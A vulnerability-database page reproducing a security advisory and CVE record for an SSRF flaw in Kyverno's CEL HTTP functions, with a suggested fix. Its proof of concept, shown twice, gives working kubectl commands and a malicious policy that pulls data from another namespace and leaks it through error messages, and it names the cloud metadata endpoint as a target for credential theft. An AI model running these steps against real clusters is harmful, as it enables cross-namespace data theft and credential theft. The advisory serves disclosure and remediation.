Vulnerability-Lookup

GHSA-RGGM-JJMC-3394

Vulnerability from github – Published: 2026-04-14 22:37 – Updated: 2026-04-14 22:37

Summary

Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access

Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.

Affected Versions

Kyverno >= 1.16.0 (with policies.kyverno.io CRDs enabled, which is the default)
Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)

Details

The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.

Vulnerable Code: pkg/cel/libs/http/http.go

func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
    req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
    // NO URL VALIDATION - no blocklist, no namespace restrictions
    ...
}

Contrast with resource.Lib which enforces namespace:

// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
    return cel.Lib(&lib{namespace: namespace, version: v})  // Namespace enforced
}

This is a different code path from previously reported issues: - GHSA-8p9x-46gm-qfx2: pkg/engine/apicall/apiCall.go (URLPath) - Fixed - GHSA-459x-q9hg-4gpq: pkg/engine/apicall/executor.go (Service.URL) - Different feature (apiCall vs CEL http) - This issue: pkg/cel/libs/http/http.go (CEL http.Get/http.Post) - Not fixed

PoC

Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).

A complete automated PoC script is attached. Manual steps below:

1. Setup attacker with namespace-scoped permissions

kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns

cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: namespace-admin-role
  namespace: attacker-ns
rules:
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["create", "get", "list"]
  - apiGroups: ["policies.kyverno.io"]
    resources: ["namespacedvalidatingpolicies"]
    verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: namespace-admin-binding
  namespace: attacker-ns
subjects:
  - kind: ServiceAccount
    name: namespace-admin
    namespace: attacker-ns
roleRef:
  kind: Role
  name: namespace-admin-role
  apiGroup: rbac.authorization.k8s.io
EOF

2. Create sensitive internal service (simulating internal API or cloud metadata)

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: internal-api
  namespace: kube-system
  labels:
    app: internal-api
spec:
  containers:
  - name: server
    image: hashicorp/http-echo
    args:
      - "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
      - "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
  name: internal-api
  namespace: kube-system
spec:
  selector:
    app: internal-api
  ports:
  - port: 80
    targetPort: 8080
EOF

3. Verify attacker cannot access kube-system directly

kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no

4. Create malicious NamespacedValidatingPolicy (as attacker)

cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
  name: cel-ssrf-poc
  namespace: attacker-ns
spec:
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources: ["configmaps"]
  variables:
    - name: stolenData
      expression: |
        http.Get('http://internal-api.kube-system.svc.cluster.local')
  validations:
    - expression: "false"
      message: "Validation failed"
      messageExpression: |
        'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']
EOF

5. Trigger exploit and exfiltrate data

kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
  --as=system:serviceaccount:attacker-ns:namespace-admin

6. Result - Secret data exfiltrated

error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail" 
denied the request: Policy cel-ssrf-poc failed: 
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Impact

Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace
Cloud credential theft: Access to http://169.254.169.254/... allows stealing AWS/GCP/Azure IAM credentials
Data exfiltration: HTTP response data exposed via validation error messages or audit annotations
Breaks namespace isolation: Inconsistent with Kyverno's security model where resource.Lib enforces namespace boundaries

Affected Policies

All CEL-based namespaced policies in policies.kyverno.io API group: - NamespacedValidatingPolicy - NamespacedMutatingPolicy - NamespacedDeletingPolicy - NamespacedImageValidatingPolicy

Suggested Fix

Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries:

type lib struct {
    namespace string  // Add namespace parameter
    version   *version.Version
}

func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
    if err := r.validateURL(url); err != nil {
        return nil, fmt.Errorf("blocked URL: %w", err)
    }
    // ... existing code
}

func (r *contextImpl) validateURL(urlStr string) error {
    // Block cloud metadata (169.254.0.0/16)
    // Block localhost/loopback (127.0.0.0/8)
    // For namespaced policies: restrict to same namespace services only
}

Attached kyverno-cel-ssrf-poc.sh

Credit

Discovered by: Igor Stepansky Organization: Orca Security Email: igor.stepansky@orca.security Personal Email: stepanskyigor@gmail.com

Severity ?

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-4789"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T22:37:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability in Kyverno\u0027s CEL HTTP library (`pkg/cel/libs/http/`) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.\n\n## Affected Versions\n\n- Kyverno \u003e= 1.16.0 (with `policies.kyverno.io` CRDs enabled, which is the default)\n- Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)\n\n## Details\n\nThe `http.Get()` and `http.Post()` functions available in CEL-based policies (`policies.kyverno.io` API group) do not enforce any URL restrictions. Unlike `resource.Lib` which enforces namespace boundaries for namespaced policies, the `http.Lib` allows unrestricted access to any URL.\n\n**Vulnerable Code:** `pkg/cel/libs/http/http.go`\n```go\nfunc (r *contextImpl) Get(url string, headers map[string]string) (any, error) {\n    req, err := http.NewRequestWithContext(context.TODO(), \"GET\", url, nil)\n    // NO URL VALIDATION - no blocklist, no namespace restrictions\n    ...\n}\n```\n\n**Contrast with resource.Lib** which enforces namespace:\n```go\n// pkg/cel/libs/resource/lib.go\nfunc Lib(namespace string, v *version.Version) cel.EnvOption {\n    return cel.Lib(\u0026lib{namespace: namespace, version: v})  // Namespace enforced\n}\n```\n\nThis is a **different code path** from previously reported issues:\n- GHSA-8p9x-46gm-qfx2: `pkg/engine/apicall/apiCall.go` (URLPath) - Fixed\n- GHSA-459x-q9hg-4gpq: `pkg/engine/apicall/executor.go` (Service.URL) - Different feature (apiCall vs CEL http)\n- **This issue**: `pkg/cel/libs/http/http.go` (CEL http.Get/http.Post) - **Not fixed**\n\n## PoC\n\nTested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).\n\nA complete automated PoC script is attached. Manual steps below:\n\n### 1. Setup attacker with namespace-scoped permissions\n```bash\nkubectl create namespace attacker-ns\nkubectl create serviceaccount namespace-admin -n attacker-ns\n\ncat \u003c\u003cEOF | kubectl apply -f -\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: namespace-admin-role\n  namespace: attacker-ns\nrules:\n  - apiGroups: [\"\"]\n    resources: [\"configmaps\"]\n    verbs: [\"create\", \"get\", \"list\"]\n  - apiGroups: [\"policies.kyverno.io\"]\n    resources: [\"namespacedvalidatingpolicies\"]\n    verbs: [\"create\", \"get\", \"list\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: namespace-admin-binding\n  namespace: attacker-ns\nsubjects:\n  - kind: ServiceAccount\n    name: namespace-admin\n    namespace: attacker-ns\nroleRef:\n  kind: Role\n  name: namespace-admin-role\n  apiGroup: rbac.authorization.k8s.io\nEOF\n```\n\n### 2. Create sensitive internal service (simulating internal API or cloud metadata)\n```bash\ncat \u003c\u003cEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: internal-api\n  namespace: kube-system\n  labels:\n    app: internal-api\nspec:\n  containers:\n  - name: server\n    image: hashicorp/http-echo\n    args:\n      - \"-text={\\\"secret\\\": \\\"STOLEN_INTERNAL_SECRET_12345\\\", \\\"token\\\": \\\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\\\"}\"\n      - \"-listen=:8080\"\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: internal-api\n  namespace: kube-system\nspec:\n  selector:\n    app: internal-api\n  ports:\n  - port: 80\n    targetPort: 8080\nEOF\n```\n\n### 3. Verify attacker cannot access kube-system directly\n```bash\nkubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin\n# Output: no\n```\n\n### 4. Create malicious NamespacedValidatingPolicy (as attacker)\n```bash\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -\napiVersion: policies.kyverno.io/v1beta1\nkind: NamespacedValidatingPolicy\nmetadata:\n  name: cel-ssrf-poc\n  namespace: attacker-ns\nspec:\n  matchConstraints:\n    resourceRules:\n      - apiGroups: [\"\"]\n        apiVersions: [\"v1\"]\n        operations: [\"CREATE\"]\n        resources: [\"configmaps\"]\n  variables:\n    - name: stolenData\n      expression: |\n        http.Get(\u0027http://internal-api.kube-system.svc.cluster.local\u0027)\n  validations:\n    - expression: \"false\"\n      message: \"Validation failed\"\n      messageExpression: |\n        \u0027SSRF_LEAKED: secret=\u0027 + variables.stolenData[\u0027secret\u0027] + \u0027 token=\u0027 + variables.stolenData[\u0027token\u0027]\nEOF\n```\n\n### 5. Trigger exploit and exfiltrate data\n```bash\nkubectl create configmap trigger --from-literal=x=y -n attacker-ns \\\n  --as=system:serviceaccount:attacker-ns:namespace-admin\n```\n\n### 6. Result - Secret data exfiltrated\n```\nerror: failed to create configmap: admission webhook \"nvpol.validate.kyverno.svc-fail\" \ndenied the request: Policy cel-ssrf-poc failed: \nSSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\n```\n\n## Impact\n\n1. **Cross-namespace data access**: Users with only namespace-scoped permissions can access services in any namespace\n2. **Cloud credential theft**: Access to `http://169.254.169.254/...` allows stealing AWS/GCP/Azure IAM credentials\n3. **Data exfiltration**: HTTP response data exposed via validation error messages or audit annotations\n4. **Breaks namespace isolation**: Inconsistent with Kyverno\u0027s security model where `resource.Lib` enforces namespace boundaries\n\n## Affected Policies\n\nAll CEL-based namespaced policies in `policies.kyverno.io` API group:\n- `NamespacedValidatingPolicy`\n- `NamespacedMutatingPolicy` \n- `NamespacedDeletingPolicy`\n- `NamespacedImageValidatingPolicy`\n\n## Suggested Fix\n\nAdd namespace and URL restrictions to `pkg/cel/libs/http/http.go`, similar to how `resource.Lib` enforces namespace boundaries:\n```go\ntype lib struct {\n    namespace string  // Add namespace parameter\n    version   *version.Version\n}\n\nfunc (r *contextImpl) Get(url string, headers map[string]string) (any, error) {\n    if err := r.validateURL(url); err != nil {\n        return nil, fmt.Errorf(\"blocked URL: %w\", err)\n    }\n    // ... existing code\n}\n\nfunc (r *contextImpl) validateURL(urlStr string) error {\n    // Block cloud metadata (169.254.0.0/16)\n    // Block localhost/loopback (127.0.0.0/8)\n    // For namespaced policies: restrict to same namespace services only\n}\n```\n\nAttached \n[kyverno-cel-ssrf-poc.sh](https://github.com/user-attachments/files/24940825/kyverno-cel-ssrf-poc.sh)\n\n\n## Credit\n\nDiscovered by: Igor Stepansky\nOrganization: Orca Security\nEmail: igor.stepansky@orca.security\nPersonal Email: stepanskyigor@gmail.com",
  "id": "GHSA-rggm-jjmc-3394",
  "modified": "2026-04-14T22:37:20Z",
  "published": "2026-04-14T22:37:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-rggm-jjmc-3394"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4789"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/pull/15729"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/655822"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access"
}

CVE-2026-4789 (GCVE-0-2026-4789)

Vulnerability from cvelistv5 – Published: 2026-03-30 20:44 – Updated: 2026-04-01 18:43

Title

CVE-2026-4789

Summary

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Severity ?

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-918 Server-Side Request Forgery (SSRF)

Assigner

certcc

References

URL

	Vendor	Product	Version
	Kyverno	Kyverno	Affected: 1.16.0

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-RGGM-JJMC-3394

Summary

Affected Versions

Details

PoC

1. Setup attacker with namespace-scoped permissions

2. Create sensitive internal service (simulating internal API or cloud metadata)

3. Verify attacker cannot access kube-system directly

4. Create malicious NamespacedValidatingPolicy (as attacker)

5. Trigger exploit and exfiltrate data

6. Result - Secret data exfiltrated

Impact

Affected Policies

Suggested Fix

Credit

CVE-2026-4789 (GCVE-0-2026-4789)

Tags

Sightings

Nomenclature